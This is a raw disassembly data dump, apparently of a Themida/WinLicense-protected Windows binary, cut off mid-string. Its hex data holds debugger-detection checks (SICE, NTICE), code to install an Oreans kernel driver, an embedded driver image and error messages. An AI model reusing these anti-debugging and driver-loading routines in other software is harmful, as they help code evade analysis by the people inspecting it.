13E94630h dd 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah, 12850F20h dd 80000000h, 0F00017Eh, 885h, 8C48300h, 15E9h, 5858D00h dd 90062B0Eh, 89509050h, 6A2434h, 2BDD95FFh, 0C361062Bh dd 332D85C6h, 684D062Bh, 576272B3h, 0F5240481h, 0FF4CD303h dd 2B2F19B5h, 25858D06h, 0FF062B3Ch, 0DD8589D0h, 0E8062B2Bh dd 12h, 2A7DC86Ch, 72BFCA8Dh, 6266718Bh, 66DC3FF2h, 0BF0F38A7h dd 81F55AF1h, 5C56C2h, 75B58B00h, 2B062B07h, 10E9DBh, 21B50000h dd 66BC0409h, 913BE487h, 9EF037CBh, 34FFD0A5h, 0D8816613h dd 0B59A8FAh, 2B216DB5h, 1E98106h, 29055639h, 2B0ACD8Dh dd 15F18106h, 8B2D7C89h, 2B1CF1BDh, 0C1F18106h, 51642B99h dd 0D17FE681h, 48F7953h, 0BD01511Ah, 62B17D5h, 836BB458h dd 14E904EBh, 0E6000000h, 0FC199376h, 92ABC20Ch, 0AFA07593h dd 8DBB81C1h, 81AACED1h, 0FFA460FBh, 97850FFFh, 0FFFFFFFh dd 1182h, 0CE900h, 0F1A00000h, 0DBBCC7DFh, 450B3DCAh, 1EEBDF45h dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h dd 5C2E5C5Ch, 4349544Eh, 0C08B0045h, 35D98166h, 0F9BD830Fh dd 62B01h, 0BD830975h, 62B1689h, 50197400h, 0B8C08B53h dd 40Fh, 1B818589h, 9D8D062Bh, 62DBF75h, 585BD3FFh, 1689BD83h dd 7400062Bh, 0B8535017h, 40Fh, 1B818589h, 9D8D062Bh, 62DBC64h dd 585BD3FFh, 8D89A9B2h, 62B2431h, 0BF0FC08Bh, 2D85C6F1h dd 43062B33h, 68CEB70Fh, 0B538184Ah, 88D0Fh, 50600000h dd 5A310F52h, 34816158h, 0B676B624h, 0BE86009h, 0A000000h dd 0FAE0A264h, 0D1A4A6A2h, 858B7B07h, 62B1D05h, 8D8B605Eh dd 62B2659h, 611DCE80h, 1850161h, 0FF062B1Ch, 2B0B1DB5h dd 2800F06h, 0B2000000h, 25858D49h, 52062B3Ch, 2589BD89h dd 0F5E062Bh, 0D0FFCBBFh, 4833D281h, 0E8907EDFh, 0Ah, 386BC764h dd 0BE49701Ah, 0AE86FC8h, 0C5000000h, 32564BA1h, 0FB17E035h dd 0C3BE66D0h, 505E5A64h, 6E9h, 0C224100h, 901F9F28h, 0AE1BD8Bh dd 6A062Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 2AC35040h, 68F28B2Dh, 3C18296h, 10E9h, 0CB5FE300h dd 90C1BC55h, 0AE323942h, 0F70187B9h, 2434818Ch, 3C18216h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 11C35545h dd 0A598D29h, 0B523062Bh, 62B2F95h, 32719529h, 36A062Bh dd 1AB59D89h, 6A062Bh, 48A0Fh, 0BA660000h, 36A8B99h, 4B5068F8h dd 5250886Fh, 0F6FF06B9h, 0BF310F21h, 5CCB10A4h, 481585Ah dd 90B4B024h, 8E0F6037h, 2, 0BD89D08Bh, 62B0E7Dh, 0A49D8D61h dd 6A062DB2h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 93E6C353h, 0DC33B9BFh, 0E857501Ch dd 8, 0BE032505h, 0C1D975C2h, 13E9h, 0DD356100h, 422E3A5Ah dd 6EAEE137h, 0D6524546h, 7C91323Ah, 33935A5Ah, 2B2BE1BDh dd 40D0FF06h, 335850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 0FEB138C3h, 0E8728ADFh dd 810FB23Fh, 5, 0A9C28166h, 6A582Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0BBD635C3h dd 9529BCB8h, 62B2475h, 0E860F90h, 0E9000000h, 9, 0F7F9E7CEh dd 0FDBC11F4h, 0F88B50C8h, 53006A90h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 6A48AFh, 16859D89h dd 8468062Bh, 60A5AECDh, 8E69B966h, 8161D98Bh, 32FC2404h dd 7E85A51h, 0C2000000h, 67911F71h, 0E88A7055h, 89036A5Fh dd 2B2C999Dh, 64F68006h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 77B0B7C3h, 0D94750A4h dd 34A9B58Bh, 8E9062Bh, 60000000h, 0B1BCA5F2h, 6A8BE65Ah dd 52006A03h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0B58B6CEBh, 62B2C49h, 0CA0F5A68h, 6E8CBh dd 0B6320000h, 513C5E6Eh, 5E535250h, 8B66310Fh, 5E585AF8h dd 5A243481h, 8D0BCA0Fh, 2DB2AD9Dh, 0FABF0F06h, 50F78B93h dd 0EA00A5BEh, 0D0FF9371h, 0ADEBBFFCh, 0F407998h, 1D285h dd 0C2816600h, 0D181E5B0h, 3DE33A97h, 0AE958h, 0F6D10000h dd 0E06BAF6Ah, 5D83F32Dh, 0E26ABF66h, 13E890h, 0FA0F0000h dd 494DCBD7h, 55203DB1h, 8277EE03h, 73924BCDh, 2800FC8h dd 52000000h, 0B6505A5Eh, 14E99051h, 47000000h, 5D4EF3Eh dd 6E163460h, 730EFEFEh, 2BCB7564h, 6A45A1B7h, 0C3C18100h dd 68127F0Fh, 87768AFAh, 0AB3DBF52h, 815E628Ch, 75862404h dd 95097889h, 62B1F95h, 20F58D2Bh, 36A062Bh, 2619D31h dd 9D09062Bh, 62B34F9h, 860F006Ah, 2, 36AD68Bh, 19118529h dd 4E8062Bh, 0 dd 51C00000h, 7B79BF66h, 448B505Ah, 0E8BF0424h, 8B3C0C74h dd 0D78B6600h, 4244489h, 0BB00BE66h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 5678761Dh dd 0E7864B71h, 9589D5A1h, 62B180Dh, 20870Fh, 820F0000h dd 1Ah, 14E8h, 4750F00h, 7FA7B398h, 0BDE01BD0h, 0FB1E6CEBh dd 581A90C9h, 9D8D5A5Eh, 62DB2B8h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 9CC35545h, 0BE597CB5h, 5C228A5Bh dd 66605093h, 0F0255B8h, 28Dh, 61616000h, 56006A93h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 8D1635E0h, 0D0FF83FEh, 0A1B58953h, 59062B02h, 68F0Fh dd 85890000h, 62B2415h, 3C850F40h, 8B000000h, 2B1C4D95h dd 0B5295806h, 62B2139h, 18CE9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 89FD5262h dd 2B15AD85h, 92F78106h, 8B0F584Ch, 51006AD8h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 21A966F6h dd 0A525EFB5h, 1C51958Bh, 6A4B062Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0B934C355h dd 0E19036DDh, 58F78B66h, 9D0115B6h, 62B1F31h, 332D85C6h dd 6A43062Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0E4C356h, 0CF816606h, 4E869D5h dd 0A7000000h, 0E9C0764Ah, 0Bh, 0E9C0F3FCh, 6B9F146Ch dd 5034A2F0h, 50605250h, 5A310F52h, 61616058h, 0E960310Fh dd 0Ah, 5EE56CC8h, 2EC5D069h, 61607F5Bh, 8B585A61h, 8B042444h dd 825EBF00h, 448970D8h, 8B580424h, 2B1C69BDh, 0FE8B6606h dd 0B1DB5FFh, 858D062Bh, 62B3C25h, 0FDEAB966h, 8D89D0FFh dd 62B0A31h, 89F18B50h, 8F0F241Ch, 0Ch, 68A0Fh, 0B5290000h dd 62B2175h, 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 9872DAC3h, 0A91689E1h, 71869D8Dh dd 0E981062Bh, 7D03B8C1h, 1B8h, 0FBBF0F00h, 6AE3FFh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0BF0FDCC3h, 8BC18BC9h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0BD892B4Eh dd 62B2B45h, 1F9BD83h, 7500062Bh, 89BD8309h, 62B16h, 53501974h dd 0FB8C08Bh, 89000004h, 2B347985h, 0DC9D8D06h, 0FF062DBFh dd 83585BD3h, 2B1689BDh, 17740006h, 0FB85350h, 89000004h dd 2B347985h, 7D9D8D06h, 0FF062DBCh, 8B585BD3h, 2B1E1195h dd 7D958906h, 8B062B16h, 0AAE9C0h, 6F530000h, 61777466h dd 575C6572h, 694C6E69h, 736E6563h, 68430065h, 496B6365h dd 7058004Eh, 45746F72h, 746978h, 63656843h, 54554F6Bh dd 6E695700h, 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh dd 694C6E69h, 736E6563h, 69724465h, 56726576h, 69737265h dd 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h, 636E6174h dd 78450065h, 6B4F7469h, 6F725000h, 4E4963h, 636F7250h dd 54554Fh, 74697845h, 45004E49h, 4F746978h, 54005455h dd 4E4970h, 3 dup(0) dd 77DDAF7Fh, 77DD72F0h, 596E9h, 98858900h, 8D062DBAh dd 2DBA9485h, 858D5006h, 62DB9FEh, 16850h, 95FF8000h, 62DBAA4h dd 0B5FF196Ah, 62DBA98h, 6A016Ah, 0BA2D858Dh, 0FF50062Dh dd 2DBA94B5h, 0F595FF06h, 0FF062B29h, 2DBA94B5h, 0A095FF06h dd 0FF062DBAh, 2DBA94B5h, 0D995FF06h, 0C3062B11h, 0BA988589h dd 858D062Dh, 62DBA94h, 0FE858D50h, 50062DB9h, 168h, 0A495FF80h dd 6A062DBAh, 98858D04h, 50062DBAh, 6A046Ah, 0BA57858Dh dd 0FF50062Dh, 2DBA94B5h, 0F595FF06h, 0FF062B29h, 2DBA94B5h dd 0A095FF06h, 0FF062DBAh, 2DBA94B5h, 0D995FF06h, 0C3062B11h dd 0BA988589h, 858D062Dh, 62DBA94h, 0FE858D50h, 50062DB9h dd 168h, 0A495FF80h, 6A062DBAh, 98858D04h, 50062DBAh, 6A046Ah dd 0BA3F858Dh, 0FF50062Dh, 2DBA94B5h, 0F595FF06h, 0FF062B29h dd 2DBA94B5h, 0A095FF06h, 0FF062DBAh, 2DBA94B5h, 0D995FF06h dd 0C3062B11h, 0BA988589h, 858D062Dh, 62DBA94h, 0FE858D50h dd 50062DB9h, 168h, 0A495FF80h, 6A062DBAh, 98858D04h, 50062DBAh dd 6A046Ah, 0BA6A858Dh, 0FF50062Dh, 2DBA94B5h, 0F595FF06h dd 0FF062B29h, 2DBA94B5h, 0A095FF06h, 0FF062DBAh, 2DBA94B5h dd 0D995FF06h, 0C3062B11h, 0BA988589h, 858D062Dh, 62DBA94h dd 0FE858D50h, 50062DB9h, 168h, 0A495FF80h, 6A062DBAh dd 98858D04h, 50062DBAh, 6A046Ah, 0BA1A858Dh, 0FF50062Dh dd 2DBA94B5h, 0F595FF06h, 0FF062B29h, 2DBA94B5h, 0A095FF06h dd 0FF062DBAh, 2DBA94B5h, 0D995FF06h, 0C3062B11h, 1201BD83h dd 0F00062Bh, 0B84h, 19D8B00h, 83062B12h, 3894CC3h, 1BD83C3h dd 62B12h, 0B840Fh, 9D8B0000h, 62B1201h, 8950C383h, 0BD83C303h dd 62B1201h, 0B840F00h, 8B000000h, 2B12019Dh, 54C38306h dd 83C30389h, 2B1201BDh, 840F0006h, 0Bh, 12019D8Bh, 0C383062Bh dd 0C3038958h, 1201BD83h, 0F00062Bh, 0B84h, 19D8B00h, 83062B12h dd 3895CC3h, 8960C3C3h, 2DBA9885h, 94858D06h, 50062DBAh dd 0B9FE858Dh, 6850062Dh, 80000001h, 0BAA495FFh, 46A062Dh dd 0BA98858Dh, 6A50062Dh, 8D006A04h, 2DBA8F85h, 0B5FF5006h dd 62DBA94h, 29F595FFh, 0BD83062Bh, 62B01F9h, 0C840F00h dd 0FF000000h, 2DBA94B5h, 0A095FF06h, 0FF062DBAh, 2DBA94B5h dd 0D995FF06h, 61062B11h, 858960C3h, 62DBA98h, 0BA94858Dh dd 8D50062Dh, 2DB9FE85h, 1685006h, 0FF800000h, 2DBAA495h dd 8D046A06h, 2DBA9885h, 46A5006h, 858D006Ah, 62DBA71h dd 94B5FF50h, 0FF062DBAh, 2B29F595h, 0F9BD8306h, 62B01h dd 0C840Fh, 0B5FF0000h, 62DBA94h, 0BAA095FFh, 0B5FF062Dh dd 62DBA94h, 11D995FFh, 0C361062Bh, 98858960h, 8D062DBAh dd 2DBA9485h, 858D5006h, 62DB9FEh, 16850h, 95FF8000h, 62DBAA4h dd 858D046Ah, 62DBA98h, 6A046A50h, 78858D00h, 50062DBAh dd 0BA94B5FFh, 95FF062Dh, 62B29F5h, 1F9BD83h, 0F00062Bh dd 0C84h, 94B5FF00h, 0FF062DBAh, 2DBAA095h, 94B5FF06h dd 0FF062DBAh, 2B11D995h, 60C36106h, 0BA988589h, 858D062Dh dd 62DBA94h, 0FE858D50h, 50062DB9h, 168h, 0A495FF80h, 6A062DBAh dd 98858D04h, 50062DBAh, 6A046Ah, 0BA80858Dh, 0FF50062Dh dd 2DBA94B5h, 0F595FF06h, 83062B29h, 2B01F9BDh, 840F0006h dd 0Ch, 0BA94B5FFh, 95FF062Dh, 62DBAA0h, 0BA94B5FFh, 95FF062Dh dd 62B11D9h, 8960C361h, 2DBA9885h, 94858D06h, 50062DBAh dd 0B9FE858Dh, 6850062Dh, 80000001h, 0BAA495FFh, 46A062Dh dd 0BA98858Dh, 6A50062Dh, 8D006A04h, 2DBA8785h, 0B5FF5006h dd 62DBA94h, 29F595FFh, 0BD83062Bh, 62B01F9h, 0C840F00h dd 0FF000000h, 2DBA94B5h, 0A095FF06h, 0FF062DBAh, 2DBA94B5h dd 0D995FF06h, 61062B11h, 85C760C3h, 62DBA98h, 1, 0BA94858Dh dd 8D50062Dh, 2DB9FE85h, 2685006h, 0FF800000h, 2DBAA495h dd 0FC00B06h, 0F84h, 9885C700h, 62DBAh, 0E9000000h, 4Dh dd 858D046Ah, 62DBA98h, 6A046A50h, 12858D00h, 50062DBAh dd 0BA94B5FFh, 95FF062Dh, 62B29F5h, 840FC00Bh, 0Fh, 0BA9885C7h dd 62Dh, 0AE90000h, 0C7000000h, 2DBA9885h, 106h, 94B5FF00h dd 0FF062DBAh, 2B11D995h, 858B6106h, 62DBA98h, 858960C3h dd 62DBA98h, 0BA94858Dh, 8D50062Dh, 2DB9FE85h, 1685006h dd 0FF800000h, 2DBAA495h, 8D046A06h, 2DBA9885h, 46A5006h dd 858D006Ah, 62DBA12h, 94B5FF50h, 0FF062DBAh, 2B29F595h dd 0F9BD8306h, 62B01h, 0C840Fh, 0B5FF0000h, 62DBA94h, 0BAA095FFh dd 0B5FF062Dh, 62DBA94h, 11D995FFh, 0C361062Bh, 98858960h dd 8D062DBAh, 2DBA9485h, 858D5006h, 62DB9FEh, 16850h, 95FF8000h dd 62DBAA4h, 858D046Ah, 62DBA98h, 6A046A50h, 24858D00h dd 50062DBAh, 0BA94B5FFh, 95FF062Dh, 62B29F5h, 1F9BD83h dd 0F00062Bh, 0C84h, 94B5FF00h, 0FF062DBAh, 2DBAA095h dd 94B5FF06h, 0FF062DBAh, 2B11D995h, 0C6C36106h, 2B332D85h dd 7685206h, 0FFADE47Bh, 2B1809B5h, 2995FF06h, 89062B1Ch dd 2DBAA485h, 2D85C606h, 52062B33h, 2E00E568h, 9B5FF90h dd 0FF062B18h, 2B1C2995h, 0A0858906h, 0C6062DBAh, 2B332D85h dd 35685206h, 0FFB9BF12h, 2B1809B5h, 2995FF06h, 89062B1Ch dd 2B29F585h, 2D85C606h, 52062B33h, 78103468h, 9B5FF98h dd 0FF062B18h, 2B1C2995h, 0D9858906h, 0C6062B11h, 2B332D85h dd 0D4685206h, 0FFC005DBh, 2B1809B5h, 2995FF06h, 89062B1Ch dd 2B24C585h, 0AE806h, 79680000h, 88EA5051h, 997960E0h dd 0E1815EF5h, 3420C24Ch, 6E29C681h, 2BFC0000h, 0FBF380C0h dd 663034FFh, 5AE311BFh, 10E960h, 0A1A10000h, 6A5E748Fh dd 8169C1C7h, 0BECB9293h, 8166DD5Ah, 6124A8F2h, 0E5AAEA81h dd 81662E5Fh, 81C6D2D1h, 8BCC3BF2h, 2FEA8172h, 0F54EC25h dd 1183h, 0CE900h, 2AE80000h, 8CF76CAh, 0D420B69Ch, 665228D4h dd 5523F181h, 6606048Fh, 0BF0FFA8Bh, 69E881DBh, 66024FDBh dd 0E889D181h, 0DB65C081h, 0B860024Fh, 49E3D30Ch, 732907BFh dd 0F881610Fh, 0FFFF92A4h, 19850Fh, 24E90000h, 4000000h dd 0DB5A241Ah, 863F5CB8h, 4DBD3A63h, 5B2256FBh, 0BB08F1F3h dd 4BD92606h, 0FFFF53E9h, 0EB7851FFh, 0E9B32FD9h, 20Eh dd 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h dd 676F7270h, 2E6D6172h, 68h dup(0) aOreans_vxd db '\Oreans.vxd',0 dd 2 dup(0) dd 0EFE90000h, 0C6000000h, 2B332D85h, 86684706h, 0FFE3E45Bh dd 2B0B1DB5h, 25858D06h, 0FF062B3Ch, 10468D0h, 9D8D0000h dd 62B2781h, 50D0FF53h, 0C3ACB58Dh, 0FE8B062Dh, 0FAEC032h dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 332D85C6h dd 6843062Bh, 0BC8E6EFCh, 0B1DB5FFh, 858D062Bh, 62B3C25h dd 0B58DD0FFh, 62B2781h, 8068006Ah, 6A000000h, 6A006A02h dd 6800h, 0FF56C000h, 0C6D88BD0h, 2B332D85h, 56685706h dd 0FFA69BEEh, 2B0B1DB5h, 25858D06h, 0FF062B3Ch, 65BD8DD0h dd 8D062B2Ch, 2DC4D28Dh, 57006A06h, 37D068h, 0FF535100h dd 0FC085D0h, 1B85h, 0B4B58D00h, 8D062DC1h, 2DB12F85h dd 8DD0FF06h, 2B71868Dh, 0B806h, 0E1FF0000h, 332D85C6h dd 6843062Bh, 0C0764AA7h, 0B1DB5FFh, 858D062Bh, 62B3C25h dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0 dd 0EC08358h, 2E90889h, 8B000000h, 37D0E9C3h, 5A4D0000h dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 0 dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0 dd 454C0000h, 0 dd 20000h, 4, 80000000h, 140003h, 4 dup(0) dd 2000000h, 1C00000h, 900000h, 0 dd 7E0000h, 0 dd 0C40000h, 10000h, 0DC0000h, 3 dup(0) dd 12C0000h, 1380000h, 2 dup(0) dd 1420000h, 1960000h, 1D20000h, 0 dd 1D20000h, 0 dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0) dd 27C00400h, 0 dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h dd 30001h, 2 dup(0) dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h dd 360h dup(0) dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h dd 8 dup(0) dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h dd 5273h, 6CDh dup(0) dword_56B700 dd 2F6h dup(0) ; DATA XREF: Themida_:0053EFACo dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0) dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 99E90000h dd 2F000000h, 63677562h, 6B636568h, 622F0032h, 68636775h dd 6B6365h, 726F662Fh, 75726563h, 622F006Eh, 68636775h dd 666B6365h, 6C6C75h, 6F68732Fh, 646F6377h, 732F0065h dd 63776F68h, 3265646Fh, 6C632F00h, 2F007472h, 31736964h dd 68732F00h, 6E69776Fh, 6E617473h, 2F006563h, 77746567h dd 6174736Ch, 737574h, 676F6C2Fh, 74617473h, 2F007375h dd 706D7564h, 74617473h, 7375h, 2F000000h, 63656863h, 6F72706Bh dd 74636574h, 6E6F69h, 0 dd 0FD27BD83h, 0F00062Dh, 0A84h, 8985C700h, 1062B16h, 0C6000000h dd 2B332D85h, 4E84706h, 8D000000h, 50906D6Ch, 424448Bh dd 4489008Bh, 0FF580424h, 2B0B1DB5h, 25858D06h, 0FF062B3Ch dd 8BD0FFD0h, 223F80F8h, 22850Fh, 0B0470000h, 850FAE22h dd 0FFFFFFF9h, 0F003F80h, 31E84h, 3F804700h, 14840F00h dd 0E9000003h, 1Eh, 0F003F80h, 30684h, 203F8000h, 6850Fh dd 0E9470000h, 6, 0FFE2E947h, 3F80FFFFh, 5850F00h, 0E9000000h dd 2E3h, 1E9h, 3F804700h, 0F6840F20h, 80FFFFFFh, 850F003Fh dd 5, 2C6E9h, 0AE800h, 0CBE90000h, 0E9FFFFFFh, 2B7h, 0FCA7B58Dh dd 25E8062Dh, 3000002h, 2DFD3CBDh, 3CBD8306h, 62DFDh, 0B840Fh dd 85C70000h, 62B01F9h, 1, 0B2B58DC3h, 0E8062DFCh, 1FCh dd 0FD3CBD03h, 0BD83062Dh, 62DFD3Ch, 0B840F00h, 0C7000000h dd 2B168985h, 106h, 0B58DC300h, 62DFD2Bh, 1D3E8h, 3CBD0300h dd 83062DFDh, 2DFD3CBDh, 840F0006h, 0Bh, 1C7585C7h, 1062Bh dd 8DC30000h, 2DFCBCB5h, 1AAE806h, 0BD030000h, 62DFD3Ch dd 0FD3CBD83h, 0F00062Dh, 0B84h, 8985C700h, 1062B16h, 0C3000000h dd 0FCC6B58Dh, 81E8062Dh, 3000001h, 2DFD3CBDh, 3CBD8306h dd 62DFDh, 15840Fh, 85C70000h, 62B1689h, 1, 1F985C7h, 1062Bh dd 8DC30000h, 2DFCD4B5h, 14EE806h, 0BD030000h, 62DFD3Ch dd 0FD3CBD83h, 0F00062Dh, 0A84h, 0B185C700h, 1062B15h dd 8D000000h, 2DFCDEB5h, 126E806h, 0BD030000h, 62DFD3Ch dd 0FD3CBD83h, 0F00062Dh, 0A84h, 0B185C700h, 1062B15h dd 8D000000h, 2DFCE9B5h, 0FEE806h, 0BD030000h, 62DFD3Ch dd 0FD3CBD83h, 0F00062Dh, 0A84h, 7D85C700h, 1062B30h, 8D000000h dd 2DFCEFB5h, 0D6E806h, 0BD030000h, 62DFD3Ch, 0FD3CBD83h dd 0F00062Dh, 0A84h, 5985C700h, 1062B35h, 8D000000h, 2DFCF5B5h dd 0AEE806h, 0BD030000h, 62DFD3Ch, 0FD3CBD83h, 0F00062Dh dd 0A84h, 0BD85C700h, 1062B28h, 8D000000h, 2DFD03B5h, 86E806h dd 0BD030000h, 62DFD3Ch, 0FD3CBD83h, 0F00062Dh, 0A84h dd 0E585C700h, 1062B02h, 8D000000h, 2DFD10B5h, 5EE806h dd 0BD030000h, 62DFD3Ch, 0FD3CBD83h, 0F00062Dh, 0A84h dd 985C700h, 1062B33h, 8D000000h, 2DFD1BB5h, 36E806h, 0BD030000h dd 62DFD3Ch, 0FD3CBD83h, 0F00062Dh, 0A84h, 6985C700h, 1062B18h dd 0E9000000h, 1, 203F8047h, 9840Fh, 3F800000h, 0ED850F00h dd 0C3FFFFFFh, 1B960h, 0DE8B0000h, 1FE9h, 3F8000h, 5850Fh dd 0B90000h, 8A000000h, 0F163817h, 584h, 0B900h, 47460000h dd 0F003E80h, 884h, 0FC90B00h, 0FFFFD085h, 0FC90BFFh, 2184h dd 3F8000h, 9840Fh, 3F800000h, 0A850F20h, 0B9000000h, 1 dd 5E9h, 0B900h, 0C90B0000h, 0D840Fh, 0F32B0000h, 0FD3CB589h dd 0AE9062Dh, 0C7000000h, 2DFD3C85h, 6, 0B8C36100h, 0 dd 840FC00Bh, 0Ah, 15B185C7h, 62Bh, 0C88B0000h, 10B7E9h dd 56444100h, 33495041h, 4C442E32h, 704F004Ch, 43536E65h dd 616E614Dh, 41726567h, 65724300h, 53657461h, 69767265h dd 416563h, 72617453h, 72655374h, 65636976h, 65470041h dd 74614E74h, 53657669h, 65747379h, 666E496Dh, 704F006Fh dd 65536E65h, 63697672h, 44004165h, 74656C65h, 72655365h dd 65636976h, 6F6C4300h, 65536573h, 63697672h, 6E614865h dd 656C64h, 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0) dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0) aOreansx64_sys db 'oreansx64.sys',0 align 4 dd 0 dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0) dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h dd 6165726Fh, 3233736Eh, 7379732Eh, 49h dup(0) dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h dd 6172676Fh, 2E6Dh, 59h dup(0) dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0) dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 70580000h, 45746F72h, 746E6576h, 0Bh dup(0) dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch dd 0 dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h dd 726F7272h, 6143203Ah, 746F6E6Eh, 